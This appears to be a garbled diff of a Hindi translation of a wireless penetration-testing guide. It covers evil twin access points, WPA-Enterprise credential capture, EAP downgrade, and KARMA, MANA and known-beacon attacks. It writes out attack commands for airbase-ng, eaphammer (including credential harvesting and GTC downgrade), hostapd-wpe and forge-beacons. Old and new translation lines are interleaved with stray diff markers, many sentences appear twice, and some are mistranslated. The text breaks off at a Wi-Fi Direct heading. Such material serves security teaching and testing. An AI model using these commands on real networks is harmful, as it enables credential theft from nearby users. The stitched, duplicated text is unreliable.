ध्यान दें कि वास्तविक दुनिया के वायरलेस तैनाती में आमतौर पर एक से अधिक एक्सेस पॉइंट होते हैं, और ये एक्सेस पॉइंट अक्सर अधिक शक्तिशाली होते हैं और उनकी लाइन-ऑफ-साइट रेंज उनके छत की ओर प्लेसमेंट के कारण बेहतर होती है। एक एकल एक्सेस पॉइंट को deauthenticate करना आमतौर पर लक्ष्य को आपके rogue AP की ओर नहीं बल्कि एक अन्य वैध एक्सेस पॉइंट की ओर घूमने का परिणाम होता है, जब तक कि सभी नजदीकी एक्सेस पॉइंट्स को deauthenticate नहीं किया जाता (loud) या आप rogue AP की प्लेसमेंट के साथ बहुत सावधान नहीं होते (difficult)।
|
||||
ध्यान दें कि वास्तविक दुनियावी वायरलेस डिप्लॉयमेंट में आम तौर पर एक से अधिक एक्सेस प्वाइंट होते हैं, और ये एक्सेस प्वाइंट्स अक्सर अधिक शक्तिशाली होते हैं और उनके स्थान की ओर बेहतर लाइन-ऑफ-साइट रेंज होती है। एक ही एक्सेस प्वाइंट को डीऑथेंटिकेट करने से आम तौर पर लक्ष्य एक अन्य मान्य एक्सेस प्वाइंट की ओर घूमने का परिणाम होता है अपने रोग एपी की ओर नहीं, जब तक सभी पास के एक्सेस प्वाइंट्स को डीऑथेंटिकेट (ध्वनिक) नहीं किया जाता है या आप अपने रोग एपी के स्थान के साथ बहुत सावधान हों (कठिन)।
|
||||
|
||||
आप एक बहुत ही बुनियादी Open Evil Twin (इंटरनेट के लिए ट्रैफिक को रूट करने की क्षमता के बिना) बना सकते हैं करके:
|
||||
आप इंटरनेट पर ट्रैफिक रूट करने की क्षमताओं के बिना एक बहुत ही बुनियादी ओपन शैतान जुड़वां बना सकते हैं:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
आप **eaphammer** का उपयोग करके एक Evil Twin भी बना सकते हैं (ध्यान दें कि eaphammer के साथ evil twins बनाने के लिए इंटरफ़ेस **नहीं होना चाहिए** **monitor** मोड में):
|
||||
आप **eaphammer** का उपयोग करके एक ईविल ट्विन बना सकते हैं (ध्यान दें कि eaphammer के साथ ईविल ट्विन बनाने के लिए इंटरफेस **मॉनिटर** मोड में **नहीं होना चाहिए**):
|
||||
```
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
या Airgeddon का उपयोग करके: `Options: 5,6,7,8,9 (Evil Twin attack menu के अंदर)।`
|
||||
या Airgeddon का उपयोग करके: `विकल्प: 5,6,7,8,9 (ईविल ट्विन हमला मेनू के अंदर)।`
|
||||
|
||||
![](<../../.gitbook/assets/image (148).png>)
|
||||
|
||||
कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में एक ESSID को WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक Open Evil Twin से जुड़ने का प्रयास नहीं करेगा। आप वास्तविक AP को DoS करने का प्रयास कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके Open Evil Twin से जुड़ेगा, या आप वास्तविक AP को DoS कर सकते हैं और WPA Evil Twin का उपयोग करके handshake कैप्चर कर सकते हैं (इस विधि का उपयोग करके आप पीड़ित को आपसे जुड़ने नहीं दे पाएंगे क्योंकि आप PSK नहीं जानते हैं, लेकिन आप handshake कैप्चर कर सकते हैं और इसे क्रैक करने का प्रयास कर सकते हैं)।
|
||||
कृपया ध्यान दें कि डिफ़ॉल्ट रूप से अगर PNL में एक ESSID को WPA सुरक्षित रूप से सहेजा गया है, तो उपकरण स्वचालित रूप से एक ओपन ईविल ट्विन से कनेक्ट नहीं होगा। आप वास्तविक एपी को डीओएस करने का प्रयास कर सकते हैं और उम्मीद कर सकते हैं कि उपयोगकर्ता आपके ओपन ईविल ट्विन से मैन्युअल रूप से कनेक्ट करेगा, या आप वास्तविक एपी को डीओएस कर सकते हैं और एक WPA ईविल ट्विन का उपयोग करके हैंडशेक को कैप्चर कर सकते हैं (इस तरीके का उपयोग करके आप पीएसके को नहीं जानते हैं, लेकिन आप हैंडशेक को कैप्चर कर सकते हैं और इसे क्रैक करने की कोशिश कर सकते हैं)।
|
||||
|
||||
_कुछ OS और AV उपयोगकर्ता को चेतावनी देंगे कि Open network से जुड़ना खतरनाक है..._
|
||||
_कुछ ओएस और एवी उपयोगकर्ता को चेतावनी देंगे कि एक ओपन नेटवर्क से कनेक्ट करना खतरनाक है..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
### WPA/WPA2 ईविल ट्विन
|
||||
|
||||
आप **WPA/2 का उपयोग करके एक Evil Twin बना सकते हैं** और यदि डिवाइसेज ने उस SSID से WPA/2 के साथ जुड़ने के लिए कॉन्फ़िगर किया है, तो वे जुड़ने का प्रयास करेंगे। वैसे भी, **4-way-handshake को पूरा करने के लिए** आपको यह भी **जानना** चाहिए कि ग्राहक कौन सा **पासवर्ड** उपयोग करने वाला है। यदि आप इसे **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**।
|
||||
आप **WPA/2 का उपयोग करके एक ईविल ट्विन बना सकते हैं** और यदि उपकरणों ने WPA/2 के साथ उस SSID से कनेक्ट करने की विन्यास किया है, तो वे कनेक्ट करने की कोशिश करेंगे। हर जीजे-हाथशेक पूरा करने के लिए आपको भी यह जानने की आवश्यकता है कि क्लाइंट का उपयोग करने वाला **पासवर्ड** क्या है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**।
|
||||
```
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
### एंटरप्राइज ईविल ट्विन
|
||||
|
||||
इस हमले को समझने के लिए, मैं आपको [WPA एंटरप्राइज स्पष्टीकरण](./#wpa-enterprise-mgt) को पढ़ने की सलाह दूंगा।
|
||||
इस हमले को समझने के लिए मैं सुझाव दूंगा कि पहले [WPA एंटरप्राइज की संक्षिप्त व्याख्या](./#wpa-enterprise-mgt) पढ़ें।
|
||||
|
||||
**hostapd-wpe का उपयोग करते हुए**
|
||||
**hostapd-wpe का उपयोग**
|
||||
|
||||
`hostapd-wpe` को काम करने के लिए एक **कॉन्फ़िगरेशन** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशनों को **स्वचालित** करने के लिए आप [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) का उपयोग कर सकते हैं (पायथन फ़ाइल को _/etc/hostapd-wpe/_ के अंदर डाउनलोड करें)
|
||||
`hostapd-wpe` को काम करने के लिए एक **कॉन्फ़िगरेशन** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशन को उत्पन्न करने को स्वचालित करने के लिए आप [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) का उपयोग कर सकते हैं (अंदर _/etc/hostapd-wpe/_ में पायथन फ़ाइल डाउनलोड करें)
|
||||
```
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
```markdown
|
||||
विन्यास फ़ाइल में आप विभिन्न चीजें चुन सकते हैं जैसे कि ssid, channel, user files, cret/key, dh parameters, wpa version और auth...
|
||||
विन्यास फ़ाइल में आप कई विभिन्न चीज़ों को चुन सकते हैं जैसे कि ssid, चैनल, उपयोगकर्ता फ़ाइलें, क्रेट/कुंजी, dh पैरामीटर, wpa संस्करण और प्रमाणीकरण...
|
||||
|
||||
[**EAP-TLS के साथ hostapd-wpe का उपयोग करके किसी भी प्रमाणपत्र को लॉगिन की अनुमति देना।**](evil-twin-eap-tls.md)
|
||||
[**EAP-TLS के साथ hostapd-wpe का उपयोग करके किसी भी प्रमाणपत्र को लॉगिन करने की अनुमति देना।**](evil-twin-eap-tls.md)
|
||||
|
||||
**EAPHammer का उपयोग करना**
|
||||
```
|
||||
```bash
|
||||
# Generate Certificates
|
||||
./eaphammer --cert-wizard
|
||||
|
@ -578,51 +551,51 @@ hostapd-wpe ./victim/victim.conf -s
|
|||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उपयोग करता है (ध्यान दें कि GTC को पहले प्लेनटेक्स्ट पासवर्ड प्राप्त करने के लिए और फिर अधिक मजबूत प्रमाणीकरण विधियों के उपयोग के लिए):
|
||||
### डिफ़ॉल्ट रूप से, EAPHammer इस प्रमाणीकरण विधियों का उपयोग करता है (प्लेनटेक्स्ट पासवर्ड प्राप्त करने के लिए पहला ट्राई करने के लिए GTC को ध्यान में रखें और फिर मजबूत प्रमाणीकरण विधियों का उपयोग करें):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
यह लंबे कनेक्शन समय से बचने के लिए डिफ़ॉल्ट पद्धति है। हालांकि, आप सर्वर को प्रमाणीकरण विधियों को सबसे कमजोर से सबसे मजबूत तक निर्दिष्ट करने के लिए भी कह सकते हैं:
|
||||
यह डिफ़ॉल्ट मेथडोलॉजी है लंबे कनेक्शन समय से बचने के लिए। हालांकि, आप यह भी निर्दिष्ट कर सकते हैं कि सर्वर को सबसे कमजोर से सबसे मजबूत प्रमाणीकरण विधियों को प्रदान करें:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
या आप इसका उपयोग भी कर सकते हैं:
|
||||
या आप निम्नलिखित भी उपयोग कर सकते हैं:
|
||||
|
||||
* `--negotiate gtc-downgrade` का उपयोग करें जो कि अत्यधिक कुशल GTC डाउनग्रेड कार्यान्वयन के लिए है (plaintext passwords)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` का उपयोग करके मैन्युअल रूप से विधियों को निर्दिष्ट करें (संगठन के समान प्रमाणीकरण विधियों को समान क्रम में पेश करने से हमले का पता लगाना बहुत कठिन होगा).
|
||||
* [विकी में अधिक जानकारी पाएं](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
* `--negotiate gtc-downgrade` उच्च प्रदर्शन GTC डाउनग्रेड कार्यान्वयन का उपयोग करने के लिए (सादा पासवर्ड)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` मैन्युअल रूप से प्रस्तावित विधियों को निर्दिष्ट करने के लिए (आक्रमण करने वाले संगठन में एक ही प्रमाणीकरण विधियों की पेशकश करने से हमले को पहचानना अधिक कठिन होगा)।
|
||||
* [विकि में अधिक जानकारी देखें](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Airgeddon का उपयोग करना**
|
||||
|
||||
`Airgeddon` पहले से जनरेट किए गए प्रमाणपत्रों का उपयोग करके WPA/WPA2-Enterprise नेटवर्क्स के लिए EAP प्रमाणीकरण प्रदान कर सकता है। नकली नेटवर्क EAP-MD5 में कनेक्शन प्रोटोकॉल को डाउनग्रेड कर देगा ताकि यह **उपयोगकर्ता और पासवर्ड के MD5 को कैप्चर कर सके**। बाद में, हमलावर पासवर्ड को क्रैक करने की कोशिश कर सकता है।\
|
||||
`Airggedon` आपको **निरंतर Evil Twin हमले (शोरपूर्ण)** या **केवल Evil Attack बनाने की संभावना प्रदान करता है जब तक कोई जुड़ता नहीं है (सुचारू).**
|
||||
`Airgeddon` पहले से उत्पन्न प्रमाणपत्र का उपयोग करके WPA/WPA2-एंटरप्राइज नेटवर्क को EAP प्रमाणीकरण प्रदान करने के लिए उपयोग कर सकता है। नकली नेटवर्क कनेक्शन प्रोटोकॉल को EAP-MD5 में डाउनग्रेड करेगा ताकि यह **उपयोगकर्ता और पासवर्ड का MD5 कैप्चर** कर सके। बाद में, हमलावर पासवर्ड को क्रैक करने की कोशिश कर सकता है।\
|
||||
`Airggedon` आपको एक **निरंतर ईविल ट्विन हमला (शोरगुल)** या **केवल तब ईविल हमला बनाएं जब कोई कनेक्ट होता है (स्मूथ)** की संभावना प्रदान करता है।
|
||||
|
||||
![](<../../.gitbook/assets/image (129).png>)
|
||||
|
||||
### Evil Twins हमलों में PEAP और EAP-TTLS TLS सुरंगों की डिबगिंग
|
||||
### Evil Twins हमलों में PEAP और EAP-TTLS TLS टनल्स का डीबगिंग
|
||||
|
||||
_यह विधि PEAP कनेक्शन में परीक्षण की गई थी लेकिन चूंकि मैं एक मनमानी TLS सुरंग को डिक्रिप्ट कर रहा हूँ, इसलिए यह EAP-TTLS के साथ भी काम करना चाहिए_
|
||||
_यह विधि एक PEAP कनेक्शन में परीक्षित की गई थी लेकिन मैं एक अर्बिट्रेरी TLS टनल को डिक्रिप्ट कर रहा हूं इसलिए यह EAP-TTLS के साथ भी काम करना चाहिए_
|
||||
|
||||
_hostapd-wpe_ के **कॉन्फ़िगरेशन** के अंदर _**dh\_file**_ वाली लाइन को **कमेंट** करें (जैसे `dh_file=/etc/hostapd-wpe/certs/dh` से `#dh_file=/etc/hostapd-wpe/certs/dh` तक)\
|
||||
इससे `hostapd-wpe` DH के बजाय RSA का उपयोग करके कीज़ का आदान-प्रदान करेगा, ताकि आप बाद में सर्वर की प्राइवेट की जानकर ट्रैफिक को **डिक्रिप्ट** कर सकें।
|
||||
**_hostapd-wpe_ के कॉन्फ़िगरेशन** में _**dh\_file**_ शामिल लाइन को **कमेंट** करें (`dh_file=/etc/hostapd-wpe/certs/dh` से `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
इससे `hostapd-wpe` को **RSA का उपयोग करके कुंजियाँ आदान-प्रदान करने के लिए** बदल दिया जाएगा, इससे आप **बाद में ट्रैफिक को डिक्रिप्ट** कर सकेंगे **सर्वर की निजी कुंजी जानते हुए**।
|
||||
|
||||
अब सामान्य रूप से उस संशोधित कॉन्फ़िगरेशन का उपयोग करके **`hostapd-wpe`** के साथ **Evil Twin** शुरू करें। साथ ही, Evil Twin हमले को कर रहे **इंटरफ़ेस** पर **`wireshark`** भी शुरू करें।
|
||||
अब **Evil Twin** को उस संशोधित कॉन्फ़िगरेशन के साथ सामान्य रूप से उपयोग करने के लिए **`hostapd-wpe`** शुरू करें। इसके अलावा, जिस इंटरफेस पर Evil Twin हमला कर रहा है, उसमें **`wireshark`** भी शुरू करें।
|
||||
|
||||
अब या बाद में (जब आप पहले ही कुछ प्रमाणीकरण प्रयासों को कैप्चर कर चुके हों) आप wireshark में प्राइवेट RSA की को जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
अब या बाद में (जब आपने पहले से ही कुछ प्रमाणीकरण इरादे कैप्चर कर लिए हों) आप वायरशार्क में निजी RSA कुंजी को जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
नई प्रविष्टि जोड़ें और इस मानों के साथ फॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी की फाइल का चयन करें**, समस्याओं से बचने के लिए पासवर्ड से सुरक्षित नहीं होने वाली की फाइल का चयन करें).
|
||||
नए एंट्री जोड़ें और इस मानों के साथ फॉर्म भरें: **IP पता = कोई भी** -- **पोर्ट = 0** -- **प्रोटोकॉल = डेटा** -- **कुंजी फ़ाइल** (**अपनी कुंजी फ़ाइल का चयन करें**, समस्याओं से बचने के लिए एक कुंजी फ़ाइल का चयन करें **जिसमें पासवर्ड से सुरक्षित नहीं है**)।
|
||||
|
||||
![](<../../.gitbook/assets/image (151).png>)
|
||||
|
||||
और नए **"Decrypted TLS" टैब** को देखें:
|
||||
और नए **"Decrypted TLS" टैब** पर देखें:
|
||||
|
||||
![](<../../.gitbook/assets/image (152).png>)
|
||||
|
||||
## KARMA, MANA, Loud MANA और Known beacons हमला
|
||||
## KARMA, MANA, Loud MANA और जाने गए बीकन हमला
|
||||
|
||||
### ESSID और MAC काली/सफेद सूचियाँ
|
||||
### ESSID और MAC काले/सफेद सूची
|
||||
|
||||
निम्नलिखित तालिका में विभिन्न प्रकार के MFACLs (Management Frame Access Control Lists) को सूचीबद्ध किया गया है, साथ ही उनके प्रभाव भी जब उपयोग में लाया जाता है:
|
||||
निम्नलिखित तालिका विभिन्न प्रकार के MFACLs (प्रबंधन फ्रेम एक्सेस नियंत्रण सूची) को उपलब्ध कराता है, साथ ही उनके प्रभाव जब उपयोग किया जाता है:
|
||||
|
||||
![](<../../.gitbook/assets/image (149).png>)
|
||||
```
|
||||
|
@ -646,41 +619,41 @@ pears
|
|||
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
||||
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
||||
```
|
||||
### KARMA
|
||||
### कर्मा
|
||||
|
||||
KARMA हमले एक दूसरे प्रकार के रोग एक्सेस पॉइंट हमले हैं जो स्टेशनों द्वारा उपयोग की जाने वाली नेटवर्क चयन प्रक्रिया का शोषण करते हैं। 2005 में लिखे गए एक व्हाइटपेपर में, Dino Dai Zovi और Shane Macaulay ने वर्णन किया है कि कैसे एक हमलावर एक एक्सेस पॉइंट को निर्देशित प्रोब अनुरोधों के लिए सुनने और उन सभी के लिए मिलान निर्देशित प्रोब प्रतिक्रियाओं के साथ जवाब देने के लिए कॉन्फ़िगर कर सकता है। इससे प्रभावित स्टेशन स्वचालित रूप से हमलावर के एक्सेस पॉइंट को एक एसोसिएशन अनुरोध भेजते हैं। एक्सेस पॉइंट फिर एक एसोसिएशन प्रतिक्रिया के साथ जवाब देता है, जिससे प्रभावित स्टेशन हमलावर से जुड़ जाते हैं।
|
||||
कर्मा हमले एक दूसरे प्रकार के रोग एक्सेस पॉइंट हमले हैं जो स्टेशन्स द्वारा उपयोग किए जाने वाले नेटवर्क चयन प्रक्रिया का शोषण करते हैं। 2005 में लिखी गई एक व्हाइटपेपर में, डीनो डाई जोवी और शेन मैकॉले ने वर्णित किया कि एक हमलावर एक्सेस पॉइंट को एक्सेस पॉइंट को निर्देशित प्रोब अनुरोधों के लिए सुनने के लिए कॉन्फ़िगर कर सकता है और सभी उन्हें मिलाता है उनके साथ मेल खाते निर्देशित प्रोब प्रतिक्रियाएँ। इससे प्रभावित स्टेशन्स को हमलावर के एक्सेस पॉइंट से एक संघटन अनुरोध भेजने के लिए स्वचालित रूप से भेजने का कारण होता है। एक्सेस पॉइंट फिर एक संघटन प्रतिक्रिया के साथ उत्तर देता है, जिससे प्रभावित स्टेशन्स हमलावर से कनेक्ट हो जाते हैं।
|
||||
|
||||
### MANA
|
||||
### माना
|
||||
|
||||
Ian de Villiers और Dominic White के अनुसार, आधुनिक स्टेशन KARMA हमलों के खिलाफ स्वयं की रक्षा करने के लिए डिज़ाइन किए गए हैं, जो उन एक्सेस पॉइंट्स से निर्देशित प्रोब प्रतिक्रियाओं को अनदेखा करते हैं जिन्होंने कम से कम एक ब्रॉडकास्ट प्रोब अनुरोध का पहले से जवाब नहीं दिया है। इससे 2015 तक KARMA हमलों के प्रति संवेदनशील स्टेशनों की संख्या में काफी कमी आई, जब White और de Villiers ने इस तरह की सुरक्षाओं को दरकिनार करने का एक तरीका विकसित किया। White और de Villiers के सुधारित KARMA हमले (MANA हमले) में, निर्देशित प्रोब प्रतिक्रियाओं का उपयोग पास के स्टेशनों के PNLs को पुनर्निर्माण करने के लिए किया जाता है। जब किसी स्टेशन से एक ब्रॉडकास्ट प्रोब अनुरोध प्राप्त होता है, तो हमलावर का एक्सेस पॉइंट उस स्टेशन के PNL में पहले से देखे गए एक मनमाने SSID के साथ जवाब देता है।
|
||||
इयान डे विलियर्स और डोमिनिक व्हाइट के अनुसार, आधुनिक स्टेशन्स को कर्मा हमलों से खुद को सुरक्षित रखने के लिए डायरेक्टेड प्रोब प्रतिक्रियाओं को नजरअंदाज करके उनके खिलाफ सुरक्षा उपायों को उमारने के लिए डिज़ाइन किया गया है जिन्होंने पहले से कम से कम एक ब्रॉडकास्ट प्रोब अनुरोध का उत्तर नहीं दिया है। यह 2015 तक कर्मा हमलों के खिलाफ विकल्प विकसित करने तक के स्टेशन्स की संख्या में एक महत्वपूर्ण गिरावट का कारण बना, जब व्हाइट और डे विलियर्स ने ऐसे सुरक्षा को घुमाने का एक तरीका विकसित किया। व्हाइट और डे विलियर्स के सुधारित कर्मा हमले (माना हमला) में, निर्देशित प्रोब प्रतिक्रियाएँ आसपास के स्टेशन्स के पीएनएल को पुनर्निर्माण करने के लिए उपयोग किए जाते हैं। जब एक स्टेशन से एक ब्रॉडकास्ट प्रोब अनुरोध प्राप्त होता है, तो हमलावर का एक्सेस पॉइंट उस डिवाइस से उसी सीधे प्रोब में देखा जा रहा है पीएनएल से कोई भी एसएसआईडी द्वारा उत्तर देता है।
|
||||
|
||||
संक्षेप में, MANA एल्गोरिथम इस प्रकार काम करता है: हर बार जब एक्सेस पॉइंट को प्रोब अनुरोध प्राप्त होता है, तो यह पहले निर्धारित करता है कि यह एक ब्रॉडकास्ट प्रोब है या निर्देशित प्रोब। यदि यह निर्देशित प्रोब है, तो प्रेषक का MAC पता हैश टेबल में जोड़ा जाता है (यदि यह पहले से वहां नहीं है) और ESSID उस डिवाइस के PNL में जोड़ा जाता है। फिर AP एक निर्देशित प्रोब प्रतिक्रिया के साथ जवाब देता है। यदि यह एक ब्रॉडकास्ट प्रोब है, तो एक्सेस पॉइंट उस डिवाइस के PNL में प्रत्येक नेटवर्क के लिए प्रोब प्रतिक्रियाओं के साथ जवाब देता है।
|
||||
संक्षेप में, माना एल्गोरिथ्म इस प्रकार काम करता है: प्रत्येक बार जब एक प्रोब अनुरोध प्राप्त होता है, तो पहले यह निर्धारित करता है कि यह एक ब्रॉडकास्ट है या निर्देशित प्रोब है। यदि यह निर्देशित प्रोब है, तो भेजने वाले का एमएसी पता हैश टेबल में जोड़ा जाता है (अगर यह पहले से वहाँ नहीं है) और ईएसएसआईडी उस डिवाइस के पीएनएल में जोड़ा जाता है। एपी फिर एक निर्देशित प्रोब प्रतिक्रिया के साथ उत्तर देता है। यदि यह एक ब्रॉडकास्ट प्रोब है, तो एक्सेस पॉइंट उस डिवाइस के पीएनएल में हर नेटवर्क के लिए प्रोब प्रतिक्रियाएँ देता है।
|
||||
|
||||
MANA हमला eaphammer का उपयोग करते हुए:
|
||||
EAPHammer का उपयोग करके माना हमला:
|
||||
```
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### लाउड MANA
|
||||
### ध्वनिपूर्ण माना
|
||||
|
||||
ध्यान दें कि मानक MANA हमला अभी भी उन उपकरणों पर हमला करने की अनुमति नहीं देता है जो बिल्कुल भी निर्देशित प्रोबिंग का उपयोग नहीं करते हैं। इसलिए अगर हमें पहले से किसी उपकरण के PNL में कोई प्रविष्टि नहीं पता है, तो हमें इसे हमला करने के लिए कुछ अन्य तरीका खोजना होगा।
|
||||
ध्यान दें कि मानक माना हमें अभी भी उन उपकरणों को हमला करने की अनुमति नहीं देता जो पूरी तरह से निर्देशित प्रोबिंग का उपयोग नहीं करते। इसलिए अगर हमें उस उपकरण के पीएनएल में किसी भी प्रविष्टि का पूर्वज्ञान नहीं है, तो हमें इसे हमला करने के लिए कुछ अन्य तरीका ढूंढने की आवश्यकता है।
|
||||
|
||||
एक संभावना जिसे लाउड MANA हमला कहा जाता है। यह हमला इस विचार पर निर्भर करता है कि एक दूसरे के निकट भौतिक सीमा में मौजूद क्लाइंट उपकरणों में संभवतः कम से कम कुछ सामान्य प्रविष्टियाँ उनके PNLs में होंगी।
|
||||
एक संभावना यह है जिसे ध्वनिपूर्ण माना हमला कहा जाता है। यह हमला यह विचार पर निर्भर करता है कि एक-दूसरे के करीबी भौतिक संवाद में आने वाले ग्राहक उपकरणों में कम से कम कुछ सामान्य प्रविष्टियाँ होने की संभावना है।
|
||||
|
||||
संक्षेप में, लाउड MANA हमला के बजाय कि प्रत्येक ESSID के लिए प्रोब अनुरोधों का जवाब देना एक विशेष उपकरण के PNL में, रोग एपी हर ESSID के लिए प्रोब प्रतिक्रियाएँ भेजता है हर PNL में उसने पहले जो भी उपकरण देखे हैं। सेट सिद्धांत से संबंधित करते हुए, हम कह सकते हैं कि एपी हर ESSID के लिए प्रोब प्रतिक्रियाएँ भेजता है निकटवर्ती उपकरणों के सभी PNLs के संघ में।
|
||||
संक्षेप में, ध्वनिपूर्ण माना हमला एक विशेष उपकरण के पीएनएल में प्रत्येक ईएसएसआईडी के लिए प्रोब अनुरोधों का प्रतिसाद देने की बजाय, दुर्भाग्यपूर्ण एपी पहले से देखे गए सभी उपकरणों के सभी पीएनएल में हर ईएसएसआईडी के लिए प्रोब प्रतिसाद भेजता है। इसे सेट सिद्धांत से संबंधित करते हुए, हम कह सकते हैं कि एपी पास निकालता है प्रत्येक उपकरण के सभी पीएनएल के संघ के प्रत्येक ईएसएसआईडी के लिए प्रोब प्रतिसाद।
|
||||
```
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon हमला
|
||||
### ज्ञात बीकन हमला
|
||||
|
||||
ऐसे मामले अभी भी हैं जिनमें Loud MANA हमला सफल नहीं होता है।\
|
||||
Known Beacon हमला एक तरीका है "Brute-Force" ESSIDs का, जिससे पीड़ित को हमलावर से जुड़ने के लिए मजबूर किया जा सकता है। हमलावर एक AP बनाता है जो किसी भी ESSID का जवाब देता है और कुछ कोड चलाता है जो एक शब्दसूची के अंदर हर नाम के ESSIDs के बीकन्स को नकली बनाकर भेजता है। आशा की जाती है कि पीड़ित के PNL में इन ESSID नामों में से कुछ होंगे और वह नकली AP से जुड़ने की कोशिश करेगा।\
|
||||
Eaphammer ने इस हमले को MANA हमले के रूप में लागू किया है जहां एक सूची के अंदर सभी ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ भी संयोजित कर सकते हैं ताकि Loud MANA + Known beacons हमला बनाया जा सके):
|
||||
अभी भी मामले हैं जिसमें Loud MANA हमला सफल नहीं होगा।\
|
||||
ज्ञात बीकन हमला एक तरीका है "ब्रूट-फ़ोर्स" ESSIDs को प्राप्त करने के लिए जब कोशिका विक्टिम को आकर्षित करने की कोशिश करता है। हमलावादी एक एपी बनाता है जो किसी भी ESSID का प्रतिक्रिया देता है और कुछ कोड चलाता है जो बीकन भेजता है जो ESSID का नाम एक शब्दसूची के अंदर होता है। आशा है कि विक्टिम के PNL में कुछ ESSID नाम होंगे और वह नकली एपी से कनेक्ट करने की कोशिश करेगा।\
|
||||
Eaphammer ने इस हमले को एक MANA हमला के रूप में लागू किया जहां सभी सूची में मौजूद ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ जोड़ सकते हैं ताकि एक Loud MANA + ज्ञात बीकन हमला हो):
|
||||
```
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**प्रसिद्ध Beacon Burst हमला**
|
||||
**पता चला बीकन बर्स्ट हमला**
|
||||
|
||||
जैसा कि ज्ञात है, beacons शोरगुल वाले होते हैं। आप Eaphammer प्रोजेक्ट के अंदर एक स्क्रिप्ट का उपयोग करके बहुत तेजी से एक फाइल के अंदर हर ESSID नाम के beacons को लॉन्च कर सकते हैं। यदि आप इस स्क्रिप्ट को Eaphammer MANA हमले के साथ मिलाते हैं, तो क्लाइंट्स आपके AP से जुड़ पाएंगे।
|
||||
जैसे ही पता चलते हैं, बीकन बहुत शोर मचाते हैं। आप Eaphammer परियोजना के भीतर एक स्क्रिप्ट का उपयोग कर सकते हैं ताकि आप बहुत तेजी से हर ESSID नाम के बीकन को लॉन्च कर सकें। यदि आप इस स्क्रिप्ट को Eaphammer MANA हमले के साथ मिलाते हैं, तो ग्राहक आपके एपी से कनेक्ट कर पाएंगे।
|
||||
```
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
|
@ -691,54 +664,6 @@ Eaphammer ने इस हमले को MANA हमले के रूप
|
|||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
Wi-Fi Direct एक Wi-Fi मानक है जो उपकरणों को बिना वायरलेस AP के एक दूसरे से जोड़ने की अनुमति देता है, जहां दो उपकरणों में से एक AP का काम करेगा (जिसे group owner कहा जाता है)। आप Wi-Fi Direct को IoT उपकरणों जैसे प्रिंटर्स, टीवीज़... में पा सकते हैं।
|
||||
Wi-Fi Direct एक Wi-Fi मानक है जो उपकरणों को एक दूसरे से बिना वायरलेस एपी के कनेक्ट करने की अनुमति देता है क्योंकि दो उपकरणों में से एक एपी के रूप में काम करेगा (जिसे समूह मालिक कहा जाता है)। आप प्रिंटर, टीवी जैसे आईओटी उपकरणों में Wi-Fi Direct को देख सकते हैं।
|
||||
|
||||
Wi-Fi Direct उपकरणों को सुरक्षित रूप से जोड़ने के लिए Wi-Fi Protected Setup (**WPS**) पर निर्भर करता है। WPS में कई कॉन्फ़िगरेशन विधियां होती हैं जैसे कि **Push-Button** Configuration (PBC), **PIN entry**, और **Near-Field** Communication (NFC)
|
||||
|
||||
इसलिए यदि PIN का उपयोग किया जाता है तो WPS PIN के लिए पहले देखे गए हमले यहां भी मान्य हैं।
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
